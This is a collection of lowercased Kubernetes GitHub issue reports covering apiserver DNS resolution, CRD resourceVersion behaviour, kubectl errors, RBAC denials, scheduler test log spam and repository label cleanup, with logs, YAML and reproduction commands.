1 root root  11433960 sep  6 17:23 dhcp \r -rwxr-xr-x 1 root root   3611032 sep  6 17:23 flannel \r -r-xr--r-- 1 root root      2561 mar  1 23:37 health-monitor.sh \r -rwxr-xr-x 1 root root   3911992 sep  6 17:23 host-local \r -rwxr-xr-x 1 root root   5208592 sep  6 17:23 ipvlan \r -rwxr-xr-x 1 root root  50360619 mar  1 01:19 kubectl \r -rwxr-xr-x 1 root root 108108808 mar  1 01:18 kubelet \r -rwxr-xr-x 1 root root   4943096 sep  6 17:23 loopback \r -rwxr-xr-x 1 root root   5234576 sep  6 17:23 macvlan \r -rwxr-xr-x 1 root root   3329240 sep  6 17:23 noop \r -rwxr-xr-x 1 root root   5808920 sep  6 17:23 ptp \r -rwxr-xr-x 1 root root   3721672 sep  6 17:23 tuning \r    \r \r   what you expected to happen  :\r \r the master to downgrade and come back up.\r \r   how to reproduce it    as minimally and precisely as possible :\r \r check out a master branch and run  make quick-release . then run  go run ./hack/e2e.go --check_version_skew=false --v=t -up --test --test_args=\ --ginkgo.focus=\\ feature:clusterupgrade\\  --upgrade-target=ci/latest-1.5\  \r \r

i guess it got deprecated. we should clean up all test logic that depends on deprecated-and-no-longer-used cadvisor v1 api.\r \r @kubernetes/sig-node-feature-requests

bug  \r \r lots of errors happen due to various write/create operations during scheduler_perf runs.\r \r example 1: failed retry spam in scheduler, the same error occurs > 10 times/sec\r    \r e0421 18:38:32.025907   28746 runners.go:978  error while creating pod, maybe retry: <nil>\r e0421 18:38:32.070228   28746 runners.go:978  error while creating pod, maybe retry: <nil>\r e0421 18:38:32.097123   28746 runners.go:978  error while creating pod, maybe retry: <nil> \r ... and so on  several more \r    \r example 2: various other sorts of failures, also happening at the subsecond level, spamming the results.\r    \r e0421 18:38:41.949430   28746 controller.go:162  unable to sync kubernetes service: post http://127.0.0.1:38192/api/v1/namespaces: dial tcp 127.0.0.1:38192: getsockopt: connection refused\r e0421 18:38:45.384900   28746 controller.go:162  unable to sync kubernetes service: post http://127.0.0.1:42185/api/v1/namespaces: dial tcp 127.0.0.1:42185: getsockopt: connection refused\r e0421 18:38:49.736259   28746 event.go:209  unable to write event: 'post http://127.0.0.1:38192/api/v1/namespaces/sched-perf-node-affinity/events: dial tcp 127.0.0.1:38192: getsockopt: connection refused'  may retry after sleeping \r e0421 18:38:51.196751   28746 event.go:209  unable to write event: 'post http://127.0.0.1:42185/api/v1/namespaces/sched-test/events: dial tcp 127.0.0.1:42185: getsockopt: connection refused'  may retry after sleeping \r e0421 18:38:51.950079   28746 controller.go:162  unable to sync kubernetes service: post http://127.0.0.1:38192/api/v1/namespaces: dial tcp 127.0.0.1:38192: getsockopt: connection refused\r e0421 18:38:55.386130   28746 controller.go:162  unable to sync kubernetes service: post http://127.0.0.1:42185/api/v1/namespaces: dial tcp 127.0.0.1:42185: getsockopt: connection refused\r e0421 18:38:59.736754   28746 event.go:209  unable to write event: 'post http://127.0.0.1:38192/api/v1/namespaces/sched-perf-node-affinity/events: dial tcp 127.0.0.1:38192: getsockopt: connection refused'  may retry after sleeping \r e0421 18:39:01.197541   28746 event.go:209  unable to write event: 'post http://127.0.0.1:42185/api/v1/namespaces/sched-test/events: dial tcp 127.0.0.1:42185: getsockopt: connection refused'  may retry after sleeping \r e0421 18:39:01.950814   28746 controller.go:162  unable to sync kubernetes service: post http://127.0.0.1:38192/api/v1/namespaces: dial tcp 127.0.0.1:38192: getsockopt: connection refused\r e0421 18:39:05.381689   28746 controller.go:149  unable to create required kubernetes system namespace kube-system: post http://127.0.0.1:42185/api/v1/namespaces: dial tcp 127.0.0.1:42185: getsockopt: connection refused\r e0421 18:39:05.382180   28746 controller.go:149  unable to create required kubernetes system namespace kube-public: post http://127.0.0.1:42185/api/v1/namespaces: dial tcp 127.0.0.1:42185: getsockopt: connection refused\r e0421 18:39:05.386905   28746 controller.go:162  unable to sync kubernetes service: post http://127.0.0.1:42185/api/v1/namespaces: dial tcp 127.0.0.1:42185: getsockopt: connection refused\r e0421 18:39:09.737250   28746 event.go:209  unable to write event: 'post http://127.0.0.1:38192/api/v1/namespaces/sched-perf-node-affinity/events: dial tcp 127.0.0.1:38192: getsockopt: connection refused'  may retry after sleeping \r e0421 18:39:11.203499   28746 event.go:209  unable to write event: 'post http://127.0.0.1:42185/api/v1/namespaces/sched-test/events: dial tcp 127.0.0.1:42185: getsockopt: connection refused'  may retry after sleeping \r e0421 18:39:11.943570   28746 controller.go:149  unable to create required kubernetes system namespace kube-system: post http://127.0.0.1:38192/api/v1/namespaces: dial tcp 127.0.0.1:38192: getsockopt: connection refused\r e0421 18:39:11.943998   28746 controller.go:149  unable to create required kubernetes system namespace kube-public: post http://127.0.0.1:38192/api/v1/namespaces: dial tcp 127.0.0.1:38192: getsockopt: connection refused\r e0421 18:39:11.951339   28746 controller.go:162  unable to sync kubernetes service: post http://127.0.0.1:38192/api/v1/namespaces: dial tcp 127.0.0.1:38192: getsockopt: connection refused\r e0421 18:39:15.388153   28746 controller.go:162  unable to sync kubernetes service: post http://127.0.0.1:42185/api/v1/namespaces: dial tcp 127.0.0.1:42185: getsockopt: connection refused\r e0421 18:39:19.737843   28746 event.go:209  unable to write event: 'post http://127.0.0.1:38192/api/v1/namespaces/sched-perf-node-affinity/events: dial tcp 127.0.0.1:38192: getsockopt: connection refused'  may retry after sleeping \r    \r   version  \r  \r master \r \r   what happened  :\r \r lots of write http failures for creating, events, and so on.  \r \r   what you expected to happen  :\r \r scheduler_perf may have a few sporadic failures, but they should backoff quickly and/or be clearly be related to something that we know is a acceptable system limitation, like apiserver throughput.  \r \r   how to reproduce it    as minimally and precisely as possible :\r \r  test/integration/scheduler_perf/test-performance.sh \r \r   anything else we need to know  :\r \r

we updated the default scaling parameters a bit in v1.6   42065 . it turns out many users upgraded their clusters from v1.5 to v1.6 didn't get the new scaling params because the pre-existing kube-dns-autoscaler configmap took precedence over defaults.\r \r we should figure out a way to update scaling params if users are using defaults, for the ease of letting them take advantage of new supported features.\r \r /assign\r /cc @bowei

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?  \r no\r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r localhost, kube-apiserver\r \r ---\r \r   is this a bug report or feature request?    choose one :\r bug report\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.1\ , gitcommit:\ b0b7a323cc5a4a2019b2e9520c21c7830b7f708e\ , gittreestate:\ clean\ , builddate:\ 2017-04-03t20:44:38z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.1\ , gitcommit:\ b0b7a323cc5a4a2019b2e9520c21c7830b7f708e\ , gittreestate:\ clean\ , builddate:\ 2017-04-03t20:33:27z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r   environment  :\r -   cloud provider or hardware configuration  : vagrant\r -   os    e.g. from /etc/os-release : rhel 7.3\r -   kernel    e.g.  uname -a  :  linux kubemaster1 3.10.0-514.21.1.el7.x86_64  1 smp sat apr 22 02:41:35 edt 2017 x86_64 x86_64 x86_64 gnu/linux \r -   install tools  : kubelet from rpm\r -   others  :\r \r \r   what happened  :\r if  localhost  resolves in your search domains  eg.  localhost.company.foo  , and kube-apiserver uses go resolver as default  search order  dns, files  , kube-apiserver pod fails to come up.\r    \r unable to perform initial ip allocation check: unable to refresh the service ip block: get https://localhost:443/api/v1/services: dial tcp xxx.xxx.xxx.xxx:443: getsockopt: connection refused\r    \r where  xxx.xxx.xxx.xxx  is not  127.0.0.1 , but actual ip of random machine named  localhost .\r \r   what you expected to happen  :\r  localhost  resolves to  127.0.0.1  via  /etc/hosts \r or\r  localhost  is not used in the first place, but kube-apiserver should connect to  127.0.0.1  in the first place.\r \r   how to reproduce it    as minimally and precisely as possible :\r - have  localhost  resolve to a domain in your network, ie.  localhost.company.xxx  via dns search domains.\r - bring up kube-apiserver pod\r example yaml  shouldn't really matter :\r    \r ...\r   hostnetwork: true\r   containers:\r   - name: kube-apiserver\r     image: registry.company.xxx:5000/kube-apiserver-amd64:v1.6.1\r     command:\r     - /usr/local/bin/kube-apiserver\r     - --v=0\r     - --logtostderr=true\r     - --allow-privileged=true\r     - --bind-address=0.0.0.0\r     - --advertise-address=192.168.10.20\r     - --secure-port=443\r     - --etcd-servers=http://192.168.10.20:2379\r     - --service-cluster-ip-range=10.254.0.0/16\r     - --admission-control=namespacelifecycle,namespaceexists,limitranger,securitycontextdeny,serviceaccount,resourcequota\r     - --service_account_key_file=/etc/kubernetes/ssl/apiserver-key.pem\r     - --tls-cert-file=/etc/kubernetes/ssl/apiserver.pem\r     - --tls-private-key-file=/etc/kubernetes/ssl/apiserver-key.pem\r     - --client-ca-file=/etc/kubernetes/ssl/ca.pem\r     - --anonymous-auth=false\r     - --storage-backend=etcd3\r ...\r    \r \r   anything else we need to know  :\r resolved issue by setting  godebug=netdns=cgo  environment variable for kube-apiserver pod, forcing search order to be   files, dns  .\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  / \r   what happened  :\r \r the k8s-ci-robot does not allow me to  /retest  or  /test pull-kubernetes-xxx .\r \r   what you expected to happen  :\r \r should works well as before\r \r   how to reproduce it  as minimally and precisely as possible   :\r affected pr:   49454

currently they work on internal types and this is very confusing  to put it lightly  for anyone who wants to use it. consider example of nontrivial  i.e. non-identity  mapping:\r    \r external type a {\r   foo string\r }\r \r internal type b {\r   bar string\r }\r    \r where  bar  is an internal representation for  foo . currently field selectors can refer only to  bar , which is something that's normally completely invisible for clients.\r \r @kubernetes/sig-api-machinery-bugs @deads2k @sttts @bgrant0607

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r >  >  \r \r   what happened  :\r my yaml:\r    \r apiversion: v1\r kind: replicationcontroller\r metadata:\r   name: first-rc\r spec:\r   replicas: 1\r   selector:\r     app: mock\r   template:\r     metadata:\r       labels:\r         app: mock\r     spec:\r       containers:\r       - name: mock-container\r         image: gcr.io/google-containers/pause:2.0\r ---\r apiversion: v1\r kind: replicationcontroller\r metadata:\r   name: second-rc\r spec:\r   replicas: 1\r   selector:\r     app: mock\r   template:\r     metadata:\r       labels:\r         app: mock\r     spec:\r       containers:\r       - name: mock-container\r         image: gcr.io/google-containers/pause:2.0\r    \r exec kubectl set resources command,just update first object:\r    \r admindemacbook-pro-2:kubectl admin$ ./kubectl set resources -f ../../test/fixtures/pkg/kubectl/cmd/set/multi-resource-yaml.yaml --limits=cpu=200m,memory=512mi --local -o yaml\r apiversion: v1\r kind: replicationcontroller\r metadata:\r   creationtimestamp: null\r   labels:\r     app: mock\r   name: first-rc\r   namespace: default\r spec:\r   replicas: 1\r   selector:\r     app: mock\r   template:\r     metadata:\r       creationtimestamp: null\r       labels:\r         app: mock\r     spec:\r       containers:\r       - image: gcr.io/google-containers/pause:2.0\r         imagepullpolicy: ifnotpresent\r         name: mock-container\r         resources:\r           limits:\r             cpu: 200m\r             memory: 512mi\r         terminationmessagepath: /dev/termination-log\r         terminationmessagepolicy: file\r       dnspolicy: clusterfirst\r       restartpolicy: always\r       schedulername: default-scheduler\r       securitycontext: {}\r       terminationgraceperiodseconds: 30\r status:\r   replicas: 0\r    \r \r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

is this a bug report or feature request?  : i think it's a bug, but i'm not sure.\r \r  \r   what happened  :\r related to test failure of  53232\r in-cluster kubectl can't get  /swagger-2.0.0.pb-v1  file with following error  permission errors .\r    \r rbac.go:116  rbac deny: user \ system:serviceaccount:default:default\  groups  \ system:serviceaccounts\  \ system:serviceaccounts:default\  \ system:authenticated\   cannot\r \ get\  nonresourceurl \ /swagger-2.0.0.pb-v1\  cluster-wide\r wrap.go:42  get /swagger-2.0.0.pb-v1:  1.342458ms  403   kubectl/v1.9.0  linux/amd64  kubernetes/2d8c20e  192.168.9.3:54306 \r    \r \r   what you expected to happen  :\r  200  :- \r \r   how to reproduce it  as minimally and precisely as possible   :\r    \r hack/local-cluster-up.sh -o\r kubectl run --restart=never nginx --image=nginx\r kubectl cp $ which kubectl  nginx:/tmp/\r kubectl cp something.yaml nginx:/tmp/\r kubectl exec nginx -t -- /tmp/kubectl apply -f something.yaml\r    \r \r  kubectl apply  will fetch the openapi schema to validate  something.yaml , but fail because it doesn't have permission.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :  head\r - cloud provider or hardware configuration  : local\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:  hack/local-cluster-up.sh \r - others:\r \r @mbohlool says it also happens on gce.\r \r

 \r   what happened  :\r \r the  resourceversion  of a crd is incremented without any modifications made to the object\r \r   what you expected to happen  :\r \r the  resourceversion  of a crd to only be incremented whenever a modification to the object is made\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r create the following crd:\r    \r apiversion: apiextensions.k8s.io/v1beta1\r kind: customresourcedefinition\r metadata:\r   name: noxus.mygroup.example.com\r spec:\r   group: mygroup.example.com\r   version: v1alpha1\r   scope: namespaced\r   names:\r     plural: noxus\r     singular: noxu\r     kind: noxu\r     listkind: noxulist\r    \r \r run:\r    \r $ curl '127.0.0.1:8080/apis/mygroup.example.com/v1alpha1/noxus'\r {\ apiversion\ :\ mygroup.example.com/v1alpha1\ ,\ items\ :  ,\ kind\ :\ noxulist\ ,\ metadata\ :{\ continue\ :\ \ ,\ resourceversion\ :\ 46613\ ,\ selflink\ :\ /apis/mygroup.example.com/v1alpha1/noxus\ }}\r $ curl '127.0.0.1:8080/apis/mygroup.example.com/v1alpha1/noxus'\r {\ apiversion\ :\ mygroup.example.com/v1alpha1\ ,\ items\ :  ,\ kind\ :\ noxulist\ ,\ metadata\ :{\ continue\ :\ \ ,\ resourceversion\ :\ 46615\ ,\ selflink\ :\ /apis/mygroup.example.com/v1alpha1/noxus\ }}\r    \r \r the object was not modified, the  resourceversion  started with  46613  and not a small number, like 1, also the  resourceversion  is incremented in almost every second.\r \r   anything else we need to know?  :\r \r it seems the  resourceversion  of crds are correlated with the endpoint's  resourceversion :\r    \r $ curl '127.0.0.1:8080/apis/mygroup.example.com/v1alpha1/noxus'\r {\ apiversion\ :\ mygroup.example.com/v1alpha1\ ,\ items\ :  ,\ kind\ :\ noxulist\ ,\ metadata\ :{\ continue\ :\ \ ,\ resourceversion\ :\ 47098\ ,\ selflink\ :\ /apis/mygroup.example.com/v1alpha1/noxus\ }}\r $ curl '127.0.0.1:8080/api/v1/endpoints' | grep resourceversion\r         \ resourceversion\ : \ 47099\ ,\r    \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.1\ , gitcommit:\ f38e43b221d08850172a9a4ea785a86a3ffa3b3a\ , gittreestate:\ clean\ , builddate:\ 2017-10-11t23:27:35z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.1\ , gitcommit:\ f38e43b221d08850172a9a4ea785a86a3ffa3b3a\ , gittreestate:\ clean\ , builddate:\ 2017-10-11t23:16:41z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r    \r - cloud provider or hardware configuration  :\r vm\r - os  e.g. from /etc/os-release :|\r  16.10  yakkety yak  \r - kernel  e.g.  uname -a  :\r  4.9.17-040917 \r - install tools:\r - others:\r \r \r 1  is this the expected behavior?\r 2  if yes, then the client-go library has a bug because if the users want to have a listwatcher with a re-sync of lets say 5 minutes, to listen for changes of a particular crd but they will get this error on the logs:\r \r >request.go:692  debug get https://192.168.33.11:6443/apis/mygroup.example.com/v1alpha1/noxus?resourceversion=45187&timeoutseconds=414&watch=true\r >e1018 12:39:10.316092   26543 streamwatcher.go:110  unable to decode an event from the watch stream: unable to decode watch event: no kind \ status\  is registered for version \ v1\  for object {\ kind\ :\ status\ ,\ apiversion\ :\ v1\ ,\ metadata\ :{},\ status\ :\ failure\ ,\ message\ :\ too old resource version: 45187  45713 \ ,\ reason\ :\ gone\ ,\ code\ :410}\r \r this happens because the client-go watcher for that crd didn't receive any event, which make sense since the crd was not modified. unfortunately this prevents the client-go's  resourceversion  for that crd watcher to be up to date with the  resourceversion  from the server. when the watcher does a re-sync, the server  resourceversion  is higher than the last  resourceversion  stored by the crds watcher causing streamwatcher.go to bail out with that error.

 \r   what happened  :\r \r running newer kubectl version beyond 1.6 gives errors for simple get commands if the command has not been run for \ some time\   annecdotally about 15m . versions < 1.8.2 fail with  unexpected end of json input\ , 1.8.2 fails with a net.operror  see below .\r \r deleteing ~/.kube/cache and ~/.kube/http-cache can more reliably reproduce the problem on the newer versions.\r \r the failing runs do not hang for any notable period of time but return with the error after approximately 1s.\r \r   what you expected to happen  :\r \r kubectl get pods should reliably return results.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r    \r rm -rf ~/.kube/cache ~/.kube/http-cache\r \r time kubectl18 --logtostderr=true --log-backtrace-at=request.go:766  --v 5 get pods\r e1031 11:40:35.656870    4802 request.go:766  unexpected error when reading response body: &net.operror{op:\ read\ , net:\ tcp\ , source:  net.tcpaddr  0xc420948540 , addr:  net.tcpaddr  0xc420948570 , err:  os.syscallerror  0xc42084a020 }\r goroutine 1  running :\r k8s.io/kubernetes/vendor/github.com/golang/glog.stacks 0x22fbf00, 0x216bc1d, 0xa, 0x2fe \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/golang/glog/glog.go:766 +0xa7\r k8s.io/kubernetes/vendor/github.com/golang/glog.  loggingt .output 0x22fbf40, 0xc400000002, 0xc42096cc60, 0x216bc1d, 0xa, 0x2fe, 0x0 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/golang/glog/glog.go:675 +0x637\r k8s.io/kubernetes/vendor/github.com/golang/glog.  loggingt .printf 0x22fbf40, 0x2, 0x17ac46d, 0x30, 0xc42077aaa0, 0x1, 0x1 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/golang/glog/glog.go:655 +0x14f\r k8s.io/kubernetes/vendor/github.com/golang/glog.errorf 0x17ac46d, 0x30, 0xc42077aaa0, 0x1, 0x1 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/golang/glog/glog.go:1118 +0x67\r k8s.io/kubernetes/vendor/k8s.io/client-go/rest.  request .transformresponse 0xc4206c0780, 0xc4208cb950, 0xc42096ad00, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, ... \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/client-go/rest/request.go:766 +0x8b9\r k8s.io/kubernetes/vendor/k8s.io/client-go/rest.  request .do.func1 0xc42096ad00, 0xc4208cb950 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/client-go/rest/request.go:718 +0x5f\r k8s.io/kubernetes/vendor/k8s.io/client-go/rest.  request .request.func2 0xc4208cb950, 0xc42077aee0, 0xa, 0xc4206c0780, 0xc42077afb0, 0xc42096ad00, 0xc4208d0e10, 0x44, 0x0 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/client-go/rest/request.go:696 +0xd7\r k8s.io/kubernetes/vendor/k8s.io/client-go/rest.  request .request 0xc4206c0780, 0xc42077afb0, 0x0, 0x0 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/client-go/rest/request.go:698 +0x3ea\r k8s.io/kubernetes/vendor/k8s.io/client-go/rest.  request .do 0xc4206c0780, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, ... \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/client-go/rest/request.go:719 +0xc0\r k8s.io/kubernetes/pkg/kubectl/resource.  helper .list 0xc4208aca40, 0x1772f18, 0x7, 0xc420356860, 0x2, 0x21a0320, 0xc420433540, 0x0, 0xc42040e2a0, 0xc420366870, ... \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubectl/resource/helper.go:82 +0x1b5\r k8s.io/kubernetes/pkg/kubectl/resource.  selector .visit 0xc4205de800, 0xc420899ce0, 0x1771fdd, 0x6 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubectl/resource/selector.go:52 +0x119\r k8s.io/kubernetes/pkg/kubectl/resource.eagervisitorlist.visit 0xc4202edfa0, 0x1, 0x1, 0xc420976420, 0x1, 0xc420976420 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubectl/resource/visitor.go:211 +0x100\r k8s.io/kubernetes/pkg/kubectl/resource.  eagervisitorlist .visit 0xc4209b5000, 0xc420976420, 0x7f8877b5d000, 0x0 \r         <autogenerated>:115 +0x69\r k8s.io/kubernetes/pkg/kubectl/resource.flattenlistvisitor.visit 0x2183d00, 0xc4209b5000, 0xc420012800, 0xc4208aca00, 0xc420899c01, 0xc4208aca00 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubectl/resource/visitor.go:417 +0xa3\r k8s.io/kubernetes/pkg/kubectl/resource.  flattenlistvisitor .visit 0xc4209b5020, 0xc4208aca00, 0x18, 0x18 \r         <autogenerated>:130 +0x69\r k8s.io/kubernetes/pkg/kubectl/resource.decoratedvisitor.visit 0x2183d80, 0xc4209b5020, 0xc4209b5060, 0x3, 0x4, 0xc420899ca0, 0x40eb01, 0xc420899ca0 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubectl/resource/visitor.go:325 +0xd8\r k8s.io/kubernetes/pkg/kubectl/resource.  decoratedvisitor .visit 0xc4209b6ed0, 0xc420899ca0, 0xc420030800, 0x10 \r         <autogenerated>:153 +0x73\r k8s.io/kubernetes/pkg/kubectl/resource.continueonerrorvisitor.visit 0x2183c80, 0xc4209b6ed0, 0xc4201fb440, 0x1603dc0, 0x1311101 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubectl/resource/visitor.go:352 +0xf1\r k8s.io/kubernetes/pkg/kubectl/resource.  continueonerrorvisitor .visit 0xc4202ce010, 0xc4201fb440, 0x0, 0xc42077b668 \r         <autogenerated>:144 +0x60\r k8s.io/kubernetes/pkg/kubectl/resource.  result .infos 0xc4206c5340, 0x0, 0x0, 0xc4209763f0, 0x0, 0x0 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubectl/resource/result.go:124 +0xfd\r k8s.io/kubernetes/pkg/kubectl/cmd.runget 0x21acd60, 0xc4202e2810, 0x2182e40, 0xc42000c018, 0x2182e40, 0xc42000c020, 0xc4203726c0, 0xc420829590, 0x1, 0x5, ... \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubectl/cmd/get.go:418 +0x27aa\r k8s.io/kubernetes/pkg/kubectl/cmd.newcmdget.func1 0xc4203726c0, 0xc420829590, 0x1, 0x5 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubectl/cmd/get.go:122 +0x95\r k8s.io/kubernetes/vendor/github.com/spf13/cobra.  command .execute 0xc4203726c0, 0xc420287280, 0x5, 0x8, 0xc4203726c0, 0xc420287280 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/spf13/cobra/command.go:603 +0x22b\r k8s.io/kubernetes/vendor/github.com/spf13/cobra.  command .executec 0xc4201fe6c0, 0x8000102, 0x0, 0xffffffffffffffff \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/spf13/cobra/command.go:689 +0x339\r k8s.io/kubernetes/vendor/github.com/spf13/cobra.  command .execute 0xc4201fe6c0, 0xc4202e2810, 0x2182e00 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/spf13/cobra/command.go:648 +0x2b\r k8s.io/kubernetes/cmd/kubectl/app.run 0x0, 0x0 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/cmd/kubectl/app/kubectl.go:39 +0xd5\r main.main  \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/cmd/kubectl/kubectl.go:26 +0x22\r f1031 11:40:35.657060    4802 helpers.go:120  unexpected error &net.operror{op:\ read\ , net:\ tcp\ , source:  net.tcpaddr  0xc420948540 , addr:  net.tcpaddr  0xc420948570 , err:  os.syscallerror  0xc42084a020 } when reading response body. please retry.\r kubectl18 --logtostderr=true --log-backtrace-at=request.go:766 --v 5 get pods  0.09s user 0.01s system 8% cpu 1.217 total\r    \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r   - all tests against server 1.7.5  though we see this again other v1.7 servers, others are untested \r   - clients:\r     - 1.6: works reliably\r     - 1.7.5: fails with \ end of json input\  70% of the time.\r     - 1.8.2: fails as shown above about 70% of the time.\r - cloud provider or hardware configuration:\r   - test on kops aws and gke , same behaviour on both.\r - os  e.g. from /etc/os-release :\r   client    pretty_name=\ debian gnu/linux 8  jessie \ \r name=\ debian gnu/linux\ \r version_id=\ 8\ \r version=\ 8  jessie \ \r id=debian\r home_url=\ http://www.debian.org/\ \r support_url=\ http://www.debian.org/support\ \r bug_report_url=\ https://bugs.debian.org/\ \r    \r server: various , ubuntu and container os\r - kernel  e.g.  uname -a  : client  4.7.0-0.bpo.1-amd64 , server: various\r \r - install tools:\r - others:\r

this, of course, begs the question of \ where are the github labels documented\  because they're not, really   34255 \r \r we have a \ standard\  subset propagated across all repos at https://github.com/kubernetes/test-infra/blob/master/label_sync/labels.yaml.  we could start by documenting those.   this pr  https://github.com/kubernetes/test-infra/pull/2706 was where i tried to get the standard subset   is the best place i could find for what/why we picked the standard subset that we did.   this kubernetes-dev thread  https://groups.google.com/d/msg/kubernetes-dev/0rtj6wjcitg/vnh8fkaraaaj  was the second best place.\r \r i suspect there are more labels than just the above \ standard\  labels that should be kept here.\r \r ---\r \r for now, i'm using this as a scratchpad for labels we should just straight up remove from this repo.  at kindest, i could drop comments of  open  issues that had these issues prior to removal.\r \r miscellaneous labels to remove:\r \r - https://github.com/kubernetes/kubernetes/labels/beta-blocker\r - https://github.com/kubernetes/kubernetes/labels/non-release-blocker\r - https://github.com/kubernetes/kubernetes/labels/release-blocker\r - https://github.com/kubernetes/kubernetes/labels/requires-release-czar-attention\r - https://github.com/kubernetes/kubernetes/labels/team%2ftest-infra\r - https://github.com/kubernetes/kubernetes/labels/stale\r \r anything that has  deprecated - do not use  in its name:\r \r - https://github.com/kubernetes/kubernetes/labels/flake-has-meta%20%28deprecated%20-%20do%20not%20use%29\r - https://github.com/kubernetes/kubernetes/labels/requires-release-czar-attention%20%28deprecated%20-%20do%20not%20use%29\r - https://github.com/kubernetes/kubernetes/labels/sig%2ffederation%20%28deprecated%20-%20do%20not%20use%29\r   - also https://github.com/kubernetes/kubernetes/labels/sig%2ffederation\r   -  ensure these issues have sig/multicluster first \r - https://github.com/kubernetes/kubernetes/labels/team%2fux%20%28deprecated%20-%20do%20not%20use%29\r \r labels that we haven't used in quite some time:\r \r - https://github.com/kubernetes/kubernetes/labels/cla%3a%20no\r - https://github.com/kubernetes/kubernetes/labels/cla%3a%20yes\r - https://github.com/kubernetes/kubernetes/labels/needs-ok-to-merge\r - https://github.com/kubernetes/kubernetes/labels/ok-to-merge\r - https://github.com/kubernetes/kubernetes/labels/do-not-merge\r   - replace these with a do-not-merge/hold label\r \r old  can be removed:\r \r - https://github.com/kubernetes/kubernetes/labels/priority%2fp0\r - https://github.com/kubernetes/kubernetes/labels/priority%2fp1\r - https://github.com/kubernetes/kubernetes/labels/priority%2fp2\r - https://github.com/kubernetes/kubernetes/labels/priority%2fp3\r \r /   /assign\r   \r

